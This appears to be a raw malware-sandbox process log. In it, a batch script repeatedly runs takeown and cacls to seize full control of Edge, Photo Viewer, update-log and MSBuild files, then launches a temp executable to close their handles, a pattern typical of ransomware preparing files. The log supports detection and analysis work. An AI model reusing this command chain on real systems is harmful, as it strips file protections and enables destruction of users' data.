C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\identity_proxy\win10\identity_helper.Sparse.Canary.msix""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\identity_proxy\win10\identity_helper.Sparse.Canary.msix" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\identity_proxy\win10\identity_helper.Sparse.Canary.msix"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "identity_helper.Sparse.Canary.msix" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "identity_helper.Sparse.Canary.msix" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\identity_proxy\win11\identity_helper.Sparse.Stable.msix""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\identity_proxy\win11\identity_helper.Sparse.Stable.msix" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\identity_proxy\win11\identity_helper.Sparse.Stable.msix"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "identity_helper.Sparse.Stable.msix" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "identity_helper.Sparse.Stable.msix" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\bg.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\bg.pak" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\bg.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "bg.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "bg.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\de.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\de.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\de.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "de.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "de.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\fa.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\fa.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\fa.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "fa.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "fa.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\gu.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\gu.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\gu.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "gu.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "gu.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\ja.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\ja.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\ja.pak"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ja.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ja.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\lo.pak""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\lo.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\lo.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "lo.pak" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "lo.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\pt-BR.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\pt-BR.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\pt-BR.pak"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "pt-BR.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "pt-BR.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "preloaded_data.pb.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "preloaded_data.pb.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\MEIPreload\preloaded_data.pb""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\MEIPreload\preloaded_data.pb" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\MEIPreload\preloaded_data.pb"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "preloaded_data.pb" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "preloaded_data.pb" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.49b64282-2c09-4511-affb-1e5264d2257e.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.49b64282-2c09-4511-affb-1e5264d2257e.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.49b64282-2c09-4511-affb-1e5264d2257e.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "MoUsoCoreWorker.49b64282-2c09-4511-affb-1e5264d2257e.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "MoUsoCoreWorker.49b64282-2c09-4511-affb-1e5264d2257e.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\VisualElements\SmallLogoBeta.png.DATA""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\VisualElements\SmallLogoBeta.png.DATA" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\VisualElements\SmallLogoBeta.png.DATA"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "SmallLogoBeta.png.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "SmallLogoBeta.png.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "Workflow.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui""2⤵
- System Location Discovery: System Language Discovery
-
